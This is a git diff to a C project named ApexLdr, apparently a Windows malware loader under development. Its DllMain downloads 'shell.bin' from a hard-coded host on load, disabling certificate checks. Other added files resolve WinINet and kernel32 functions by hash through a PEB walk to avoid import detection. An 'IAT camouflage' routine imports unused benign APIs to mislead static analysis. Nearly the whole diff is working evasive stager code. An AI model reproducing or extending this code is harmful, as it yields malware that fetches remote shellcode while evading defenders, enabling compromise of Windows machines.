diff --git a/ApexLdr/CMakeLists.txt b/ApexLdr/CMakeLists.txt index db79bb2..5c4af54 100644 --- a/ApexLdr/CMakeLists.txt +++ b/ApexLdr/CMakeLists.txt @@ -8,6 +8,13 @@ include_directories(include) set(APEXLDR_SRC src/dllmain.c + include/typedef.h + include/common.h + src/downloader.c + src/iatcamo.c + src/winapi.c + include/structs.h + src/apihashing.c ) add_executable(ApexLdr ${APEXLDR_SRC}) diff --git a/ApexLdr/cmake-build-debug/.cmake/api/v1/reply/codemodel-v2-688fed12a574423a3a18.json b/ApexLdr/cmake-build-debug/.cmake/api/v1/reply/codemodel-v2-73772e2144584d4f8d38.json similarity index 93% rename from ApexLdr/cmake-build-debug/.cmake/api/v1/reply/codemodel-v2-688fed12a574423a3a18.json rename to ApexLdr/cmake-build-debug/.cmake/api/v1/reply/codemodel-v2-73772e2144584d4f8d38.json index 487be1b..e22ff30 100644 --- a/ApexLdr/cmake-build-debug/.cmake/api/v1/reply/codemodel-v2-688fed12a574423a3a18.json +++ b/ApexLdr/cmake-build-debug/.cmake/api/v1/reply/codemodel-v2-73772e2144584d4f8d38.json @@ -39,7 +39,7 @@ { "directoryIndex" : 0, "id" : "ApexLdr::@6890427a1f51a3e7e1df", - "jsonFile" : "target-ApexLdr-Debug-64748bef60358072a674.json", + "jsonFile" : "target-ApexLdr-Debug-8b057ca7a4d0b0023ec6.json", "name" : "ApexLdr", "projectIndex" : 0 } diff --git a/ApexLdr/cmake-build-debug/.cmake/api/v1/reply/index-2024-06-16T04-29-06-0390.json b/ApexLdr/cmake-build-debug/.cmake/api/v1/reply/index-2024-06-16T07-06-06-0642.json similarity index 93% rename from ApexLdr/cmake-build-debug/.cmake/api/v1/reply/index-2024-06-16T04-29-06-0390.json rename to ApexLdr/cmake-build-debug/.cmake/api/v1/reply/index-2024-06-16T07-06-06-0642.json index 8ad0979..6a90a9c 100644 --- a/ApexLdr/cmake-build-debug/.cmake/api/v1/reply/index-2024-06-16T04-29-06-0390.json +++ b/ApexLdr/cmake-build-debug/.cmake/api/v1/reply/index-2024-06-16T07-06-06-0642.json @@ -26,7 +26,7 @@ "objects" : [ { - "jsonFile" : "codemodel-v2-688fed12a574423a3a18.json", + "jsonFile" : "codemodel-v2-73772e2144584d4f8d38.json", "kind" : "codemodel", "version" : { @@ -86,7 +86,7 @@ }, "codemodel-v2" : { - "jsonFile" : "codemodel-v2-688fed12a574423a3a18.json", + "jsonFile" : "codemodel-v2-73772e2144584d4f8d38.json", "kind" : "codemodel", "version" : { diff --git a/ApexLdr/cmake-build-debug/.cmake/api/v1/reply/target-ApexLdr-Debug-64748bef60358072a674.json b/ApexLdr/cmake-build-debug/.cmake/api/v1/reply/target-ApexLdr-Debug-8b057ca7a4d0b0023ec6.json similarity index 70% rename from ApexLdr/cmake-build-debug/.cmake/api/v1/reply/target-ApexLdr-Debug-64748bef60358072a674.json rename to ApexLdr/cmake-build-debug/.cmake/api/v1/reply/target-ApexLdr-Debug-8b057ca7a4d0b0023ec6.json index ed2c916..3329974 100644 --- a/ApexLdr/cmake-build-debug/.cmake/api/v1/reply/target-ApexLdr-Debug-64748bef60358072a674.json +++ b/ApexLdr/cmake-build-debug/.cmake/api/v1/reply/target-ApexLdr-Debug-8b057ca7a4d0b0023ec6.json @@ -26,13 +26,13 @@ { "command" : 0, "file" : 0, - "line" : 13, + "line" : 20, "parent" : 0 }, { "command" : 1, "file" : 0, - "line" : 14, + "line" : 21, "parent" : 0 }, { @@ -110,7 +110,11 @@ }, "sourceIndexes" : [ - 0 + 0, + 3, + 4, + 5, + 7 ] } ], @@ -143,7 +147,20 @@ "name" : "Source Files", "sourceIndexes" : [ - 0 + 0, + 3, + 4, + 5, + 7 + ] + }, + { + "name" : "Header Files", + "sourceIndexes" : + [ + 1, + 2, + 6 ] } ], @@ -154,6 +171,45 @@ "compileGroupIndex" : 0, "path" : "src/dllmain.c", "sourceGroupIndex" : 0 + }, + { + "backtrace" : 1, + "path" : "include/typedef.h", + "sourceGroupIndex" : 1 + }, + { + "backtrace" : 1, + "path" : "include/common.h", + "sourceGroupIndex" : 1 + }, + { + "backtrace" : 1, + "compileGroupIndex" : 0, + "path" : "src/downloader.c", + "sourceGroupIndex" : 0 + }, + { + "backtrace" : 1, + "compileGroupIndex" : 0, + "path" : "src/iatcamo.c", + "sourceGroupIndex" : 0 + }, + { + "backtrace" : 1, + "compileGroupIndex" : 0, + "path" : "src/winapi.c", + "sourceGroupIndex" : 0 + }, + { + "backtrace" : 1, + "path" : "include/structs.h", + "sourceGroupIndex" : 1 + }, + { + "backtrace" : 1, + "compileGroupIndex" : 0, + "path" : "src/apihashing.c", + "sourceGroupIndex" : 0 } ], "type" : "EXECUTABLE" diff --git a/ApexLdr/cmake-build-debug/build.ninja b/ApexLdr/cmake-build-debug/build.ninja index 560dd9b..36565e5 100644 --- a/ApexLdr/cmake-build-debug/build.ninja +++ b/ApexLdr/cmake-build-debug/build.ninja @@ -56,6 +56,34 @@ build CMakeFiles/ApexLdr.dir/src/dllmain.c.o: C_COMPILER__ApexLdr_unscanned_Debu OBJECT_DIR = CMakeFiles/ApexLdr.dir OBJECT_FILE_DIR = CMakeFiles/ApexLdr.dir/src +build CMakeFiles/ApexLdr.dir/src/downloader.c.o: C_COMPILER__ApexLdr_unscanned_Debug /home/cipher/Desktop/ApexLdr/ApexLdr/src/downloader.c || cmake_object_order_depends_target_ApexLdr + DEP_FILE = CMakeFiles/ApexLdr.dir/src/downloader.c.o.d + FLAGS = -g -std=gnu11 -fdiagnostics-color=always -s -w -static -fpermissive -Wl,--subsystem,console -nostdlib -Wl,--entry=\"Main\" -lkernel32 -luser32 -masm=intel + INCLUDES = -I/home/cipher/Desktop/ApexLdr/ApexLdr/include + OBJECT_DIR = CMakeFiles/ApexLdr.dir + OBJECT_FILE_DIR = CMakeFiles/ApexLdr.dir/src + +build CMakeFiles/ApexLdr.dir/src/iatcamo.c.o: C_COMPILER__ApexLdr_unscanned_Debug /home/cipher/Desktop/ApexLdr/ApexLdr/src/iatcamo.c || cmake_object_order_depends_target_ApexLdr + DEP_FILE = CMakeFiles/ApexLdr.dir/src/iatcamo.c.o.d + FLAGS = -g -std=gnu11 -fdiagnostics-color=always -s -w -static -fpermissive -Wl,--subsystem,console -nostdlib -Wl,--entry=\"Main\" -lkernel32 -luser32 -masm=intel + INCLUDES = -I/home/cipher/Desktop/ApexLdr/ApexLdr/include + OBJECT_DIR = CMakeFiles/ApexLdr.dir + OBJECT_FILE_DIR = CMakeFiles/ApexLdr.dir/src + +build CMakeFiles/ApexLdr.dir/src/winapi.c.o: C_COMPILER__ApexLdr_unscanned_Debug /home/cipher/Desktop/ApexLdr/ApexLdr/src/winapi.c || cmake_object_order_depends_target_ApexLdr + DEP_FILE = CMakeFiles/ApexLdr.dir/src/winapi.c.o.d + FLAGS = -g -std=gnu11 -fdiagnostics-color=always -s -w -static -fpermissive -Wl,--subsystem,console -nostdlib -Wl,--entry=\"Main\" -lkernel32 -luser32 -masm=intel + INCLUDES = -I/home/cipher/Desktop/ApexLdr/ApexLdr/include + OBJECT_DIR = CMakeFiles/ApexLdr.dir + OBJECT_FILE_DIR = CMakeFiles/ApexLdr.dir/src + +build CMakeFiles/ApexLdr.dir/src/apihashing.c.o: C_COMPILER__ApexLdr_unscanned_Debug /home/cipher/Desktop/ApexLdr/ApexLdr/src/apihashing.c || cmake_object_order_depends_target_ApexLdr + DEP_FILE = CMakeFiles/ApexLdr.dir/src/apihashing.c.o.d + FLAGS = -g -std=gnu11 -fdiagnostics-color=always -s -w -static -fpermissive -Wl,--subsystem,console -nostdlib -Wl,--entry=\"Main\" -lkernel32 -luser32 -masm=intel + INCLUDES = -I/home/cipher/Desktop/ApexLdr/ApexLdr/include + OBJECT_DIR = CMakeFiles/ApexLdr.dir + OBJECT_FILE_DIR = CMakeFiles/ApexLdr.dir/src + # ============================================================================= # Link build statements for EXECUTABLE target ApexLdr @@ -64,7 +92,7 @@ build CMakeFiles/ApexLdr.dir/src/dllmain.c.o: C_COMPILER__ApexLdr_unscanned_Debu ############################################# # Link the executable ApexLdr -build ApexLdr: C_EXECUTABLE_LINKER__ApexLdr_Debug CMakeFiles/ApexLdr.dir/src/dllmain.c.o +build ApexLdr: C_EXECUTABLE_LINKER__ApexLdr_Debug CMakeFiles/ApexLdr.dir/src/dllmain.c.o CMakeFiles/ApexLdr.dir/src/downloader.c.o CMakeFiles/ApexLdr.dir/src/iatcamo.c.o CMakeFiles/ApexLdr.dir/src/winapi.c.o CMakeFiles/ApexLdr.dir/src/apihashing.c.o FLAGS = -g OBJECT_DIR = CMakeFiles/ApexLdr.dir POST_BUILD = : diff --git a/ApexLdr/include/common.h b/ApexLdr/include/common.h new file mode 100644 index 0000000..99a0de7 --- /dev/null +++ b/ApexLdr/include/common.h @@ -0,0 +1,47 @@ +#pragma once +#include +#include +#include "typedef.h" + +//global variables +extern unsigned char* pPayload; +extern PSTR url; +extern PSTR endpoint; +extern SIZE_T sSize; + +// winapi.c +#define INITIAL_SEED 8 + +UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String); +UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String); + +#define HASHA(API) (HashStringJenkinsOneAtATime32BitA((PCHAR) API)) +#define HASHW(API) (HashStringJenkinsOneAtATime32BitW((PWCHAR) API)) + +typedef struct _API_HASHING { + fnGetTickCount64 pGetTickCount64; + fnInternetOpenA pInternetOpenA; + fnInternetConnectA pInternetConnectA; + fnHttpOpenRequestA pHttpOpenRequestA; + fnInternetSetOptionA pInternetSetOptionA; + fnHttpSendRequestA pHttpSendRequestA; + fnInternetReadFile pInternetReadFile; + fnInternetCloseHandle pInternetCloseHandle; + fnLoadLibraryA pLoadLibraryA; +} API_HASHING, * PAPI_HASHING; + +// inject.c + + +// apihashing.c +FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash); +HMODULE GetModuleHandleH(DWORD dwModuleNameHash); + +// apihammer.c +BOOL ApiHammering(DWORD Stress); + +// downloader.c +DWORD Download(char** response, PVOID url, PVOID endpoint, BOOL ssl); + +//iatcamo.c +VOID IatCamouflage(); \ No newline at end of file diff --git a/ApexLdr/include/structs.h b/ApexLdr/include/structs.h new file mode 100644 index 0000000..8d087fd --- /dev/null +++ b/ApexLdr/include/structs.h @@ -0,0 +1,151 @@ +#pragma once + +#include + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, * PUNICODE_STRING; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + ULONG Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _RTL_DRIVE_LETTER_CURDIR { + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + UNICODE_STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; + +typedef void (*PPEBLOCKROUTINE)(PVOID PebLock); + +typedef void* PPVOID; + +typedef struct _RTL_USER_PROCESS_PARAMETERS { + ULONG MaximumLength; + ULONG Length; + ULONG Flags; + ULONG DebugFlags; + PVOID ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StdInputHandle; + HANDLE StdOutputHandle; + HANDLE StdErrorHandle; + UNICODE_STRING CurrentDirectoryPath; + HANDLE CurrentDirectoryHandle; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + ULONG StartingPositionLeft; + ULONG StartingPositionTop; + ULONG Width; + ULONG Height; + ULONG CharWidth; + ULONG CharHeight; + ULONG ConsoleTextAttributes; + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopName; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20]; +} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; + +typedef PVOID PACTIVATION_CONTEXT; + +typedef struct _LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union { + LIST_ENTRY HashLinks; + struct { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PACTIVATION_CONTEXT EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +typedef struct _PEB { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBase; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; + PVOID FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID * KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + PVOID FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID * ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID ** ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, * PPEB; + diff --git a/ApexLdr/include/typedef.h b/ApexLdr/include/typedef.h new file mode 100644 index 0000000..ebd9dbe --- /dev/null +++ b/ApexLdr/include/typedef.h @@ -0,0 +1,22 @@ +#pragma once + +#include +#include + +typedef HINTERNET(WINAPI* fnInternetOpenA)(LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags); + +typedef ULONGLONG(WINAPI* fnGetTickCount64)(); + +typedef HINTERNET(WINAPI* fnInternetConnectA)(HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUsername, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext); + +typedef HINTERNET(WINAPI* fnHttpOpenRequestA)(HINTERNET hConnect, LPCSTR lpszVerb, LPCSTR lpszObjectName, LPCSTR lpszVersion, LPCSTR lpszReferrer, LPCSTR* lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext); + +typedef BOOL(WINAPI* fnInternetSetOptionA)(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, DWORD dwBufferLength); + +typedef BOOL(WINAPI* fnHttpSendRequestA)(HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength); + +typedef BOOL(WINAPI* fnInternetReadFile)(HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead); + +typedef BOOL(WINAPI* fnInternetCloseHandle)(HINTERNET hInternet); + +typedef HMODULE(WINAPI* fnLoadLibraryA)(LPCSTR lpLibFileName); \ No newline at end of file diff --git a/ApexLdr/src/apihashing.c b/ApexLdr/src/apihashing.c new file mode 100644 index 0000000..38e6a14 --- /dev/null +++ b/ApexLdr/src/apihashing.c @@ -0,0 +1,82 @@ +#include + +#include "structs.h" +#include "common.h" + +FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) +{ + if (hModule == NULL || dwApiNameHash == NULL) + return NULL; + + PBYTE pBase = (PBYTE)hModule; + + PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase; + if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) + return NULL; + + PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew); + if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) + return NULL; + + IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader; + PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames); + PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions); + PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals); + + for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) { + CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]); + PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]); + + // printf(":: %s :: 0x%0.8X\n", pFunctionName, HASHA(pFunctionName)); + + if (dwApiNameHash == HASHA(pFunctionName)) { + return pFunctionAddress; + } + } + + return NULL; +} + +HMODULE GetModuleHandleH(DWORD dwModuleNameHash) { + + if (dwModuleNameHash == NULL) + return NULL; + +#ifdef _WIN64 + PPEB pPeb = (PEB*)(__readgsqword(0x60)); +#elif _WIN32 + PPEB pPeb = (PEB*)(__readfsdword(0x30)); +#endif + + PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->LoaderData); + PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink); + + while (pDte) { + + if (pDte->FullDllName.Length != NULL && pDte->FullDllName.Length < MAX_PATH) + { + CHAR UpperCaseDllName[MAX_PATH]; + + DWORD i = 0; + while (pDte->FullDllName.Buffer[i]) + { + UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName.Buffer[i]); + i++; + } + UpperCaseDllName[i] = '\0'; + // printf(":: %s :: 0x%0.8X\n",UpperCaseDllName, HASHA(UpperCaseDllName)); + if (HASHA(UpperCaseDllName) == dwModuleNameHash) + return (HMODULE)(pDte->InInitializationOrderLinks.Flink); + + } + else { + break; + } + + pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte); + } + + return NULL; +} \ No newline at end of file diff --git a/ApexLdr/src/dllmain.c b/ApexLdr/src/dllmain.c index 45e37cf..e169b34 100644 --- a/ApexLdr/src/dllmain.c +++ b/ApexLdr/src/dllmain.c @@ -1,10 +1,23 @@ #include +#include "common.h" + +unsigned char* pPayload = NULL; +PSTR url = "192.168.231.130"; +PSTR endpoint = "shell.bin"; +SIZE_T sSize = -1; BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { switch (dwReason) { case DLL_PROCESS_ATTACH: + sSize = Download(&pPayload, url, endpoint, FALSE); + if(sSize == -1) + { + printf("[!] Failed to fetch payload from server!\n"); + return FALSE; + } + break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: diff --git a/ApexLdr/src/downloader.c b/ApexLdr/src/downloader.c new file mode 100644 index 0000000..42a3f82 --- /dev/null +++ b/ApexLdr/src/downloader.c @@ -0,0 +1,108 @@ +#include +#include +#pragma comment(lib, "wininet.lib") + +#include "common.h" + +#define InternetOpenA_JOAA 0x154BE30F +#define InternetConnectA_JOAA 0x51CC39CF +#define HttpOpenRequestA_JOAA 0x03084192 +#define InternetSetOptionA_JOAA 0xD8C64F22 +#define HttpSendRequestA_JOAA 0xA14CFDA5 +#define InternetReadFile_JOAA 0xF1FF9642 +#define InternetCloseHandle_JOAA 0x9E679473 +#define GetTickCount64_JOAA 0x00BB616E +#define LoadLibraryA_JOAA 0x54C1D227 +#define KERNEL32DLL_JOAA 0xFD2AD9BD +#define WININETDLL_JOAA 0x668CA1EC + + +API_HASHING g_Api = { 0 }; + +DWORD Download(char** response, PVOID url, PVOID endpoint, BOOL ssl) +{ + HANDLE kernerl32_handle = GetModuleHandleH(KERNEL32DLL_JOAA); + g_Api.pLoadLibraryA = (fnLoadLibraryA)GetProcAddressH(kernerl32_handle, LoadLibraryA_JOAA); + + HANDLE wininet_handle = g_Api.pLoadLibraryA("wininet.dll"); + + g_Api.pInternetOpenA = (fnInternetOpenA)GetProcAddressH(wininet_handle, InternetOpenA_JOAA); + g_Api.pInternetConnectA = (fnInternetConnectA)GetProcAddressH(wininet_handle, InternetConnectA_JOAA); + g_Api.pHttpOpenRequestA = (fnHttpOpenRequestA)GetProcAddressH(wininet_handle, HttpOpenRequestA_JOAA); + g_Api.pInternetSetOptionA = (fnInternetSetOptionA)GetProcAddressH(wininet_handle, InternetSetOptionA_JOAA); + g_Api.pHttpSendRequestA = (fnHttpSendRequestA)GetProcAddressH(wininet_handle, HttpSendRequestA_JOAA); + g_Api.pInternetReadFile = (fnInternetReadFile)GetProcAddressH(wininet_handle, InternetReadFile_JOAA); + g_Api.pInternetCloseHandle = (fnInternetCloseHandle)GetProcAddressH(wininet_handle, InternetCloseHandle_JOAA); + g_Api.pGetTickCount64 = (fnGetTickCount64)GetProcAddressH(GetModuleHandleH(KERNEL32DLL_JOAA), GetTickCount64_JOAA); + + + if (g_Api.pGetTickCount64 == NULL) printf("GetTickCount64\n"); + if (g_Api.pInternetOpenA == NULL) printf("InternetOpenA\n"); + if (g_Api.pInternetConnectA == NULL) printf("InternetConnectA\n"); + if (g_Api.pHttpOpenRequestA == NULL) printf("HttpOpenRequestA\n"); + if (g_Api.pInternetSetOptionA == NULL) printf("InternetSetOptionA\n"); + if (g_Api.pHttpSendRequestA == NULL) printf("HttpSendRequestA\n"); + if (g_Api.pInternetReadFile == NULL) printf("InternetReadFile\n"); + if (g_Api.pInternetCloseHandle == NULL) printf("InternetCloseHandle\n"); + + + DWORD bytesRead = 0; + DWORD totalBytesRead = 0; + const DWORD bufferSize = 1024; + char buffer[1024]; + + HINTERNET hInternet = g_Api.pInternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); + + if (hInternet == NULL) + return -1; + + // connect to remote server + HINTERNET hConnect = NULL; + if(ssl) + hConnect = g_Api.pInternetConnectA(hInternet, url, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)NULL); + else + hConnect = g_Api.pInternetConnectA(hInternet, url, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)NULL); + + if (hConnect == NULL) + { + g_Api.pInternetCloseHandle(hInternet); + return -1; + } + + HINTERNET hRequest = NULL; + if(ssl) + hRequest = g_Api.pHttpOpenRequestA(hConnect, "GET", endpoint , NULL, NULL, NULL, (INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE), 0); + else + hRequest = g_Api.pHttpOpenRequestA(hConnect, "GET", endpoint, NULL, NULL, NULL, (INTERNET_FLAG_DONT_CACHE), 0); + + DWORD flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; + + g_Api.pInternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS,&flags,sizeof(flags)); + + BOOL status = g_Api.pHttpSendRequestA(hRequest,NULL,0,NULL,0); + + DWORD dwBytesRead = NULL; + SIZE_T sSize = 0; + + *response = (char*)malloc(1); + do { + if (g_Api.pInternetReadFile(hRequest, buffer, bufferSize, &bytesRead)) { + if (bytesRead > 0) { + char* temp = (char*)realloc(*response, totalBytesRead + bytesRead + 1); + if (temp == NULL) { + return NULL; + } + else { + *response = temp; + memcpy(*response + totalBytesRead, buffer, bytesRead); + totalBytesRead += bytesRead; + (*response)[totalBytesRead] = '\0'; + } + } + } + } while (bytesRead > 0); + + g_Api.pInternetCloseHandle(hInternet); + g_Api.pInternetCloseHandle(hRequest); + return totalBytesRead; +} \ No newline at end of file diff --git a/ApexLdr/src/iatcamo.c b/ApexLdr/src/iatcamo.c new file mode 100644 index 0000000..9313bd5 --- /dev/null +++ b/ApexLdr/src/iatcamo.c @@ -0,0 +1,56 @@ +#include + +// Generate a random compile-time seed +int RandomCompileTimeSeed(void) +{ + return '0' * -40271 + + __TIME__[7] * 1 + + __TIME__[6] * 10 + + __TIME__[4] * 60 + + __TIME__[3] * 600 + + __TIME__[1] * 3600 + + __TIME__[0] * 36000; +} + + +// A dummy function that makes the if-statement in 'IatCamouflage' interesting +PVOID Helper(PVOID* ppAddress) { + + PVOID pAddress = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xFF); + if (!pAddress) + return NULL; + + // setting the first 4 bytes in pAddress to be equal to a random number (less than 255) + *(int*)pAddress = RandomCompileTimeSeed() % 0xFF; + + // saving the base address by pointer, and returning it + *ppAddress = pAddress; + return pAddress; +} + + +// Function that imports WinAPIs but never uses them +VOID IatCamouflage() { + + PVOID pAddress = NULL; + int* A = (int*)Helper(&pAddress); + + // Impossible if-statement that will never run + if (*A > 350) { + + // some random whitelisted WinAPIs + unsigned __int64 i = MessageBoxA(NULL, NULL, NULL, NULL); + i = GetLastError(); + i = SetCriticalSectionSpinCount(NULL, NULL); + i = GetWindowContextHelpId(NULL); + i = GetWindowLongPtrW(NULL, NULL); + i = RegisterClassW(NULL); + i = IsWindowVisible(NULL); + i = ConvertDefaultLocale(NULL); + i = MultiByteToWideChar(NULL, NULL, NULL, NULL, NULL, NULL); + i = IsDialogMessageW(NULL, NULL); + } + + // Freeing the buffer allocated in 'Helper' + HeapFree(GetProcessHeap(), 0, pAddress); +} \ No newline at end of file diff --git a/ApexLdr/src/winapi.c b/ApexLdr/src/winapi.c new file mode 100644 index 0000000..f2007c2 --- /dev/null +++ b/ApexLdr/src/winapi.c @@ -0,0 +1,43 @@ +#include +#include "common.h" + +UINT32 HashStringJenkinsOneAtATime32BitA(_In_ PCHAR String) +{ + SIZE_T Index = 0; + UINT32 Hash = 0; + SIZE_T Length = lstrlenA(String); + + while (Index != Length) + { + Hash += String[Index++]; + Hash += Hash << INITIAL_SEED; + Hash ^= Hash >> 6; + } + + Hash += Hash << 3; + Hash ^= Hash >> 11; + Hash += Hash << 15; + + return Hash; +} + + +UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String) +{ + SIZE_T Index = 0; + UINT32 Hash = 0; + SIZE_T Length = lstrlenW(String); + + while (Index != Length) + { + Hash += String[Index++]; + Hash += Hash << INITIAL_SEED; + Hash ^= Hash >> 6; + } + + Hash += Hash << 3; + Hash ^= Hash >> 11; + Hash += Hash << 15; + + return Hash; +} \ No newline at end of file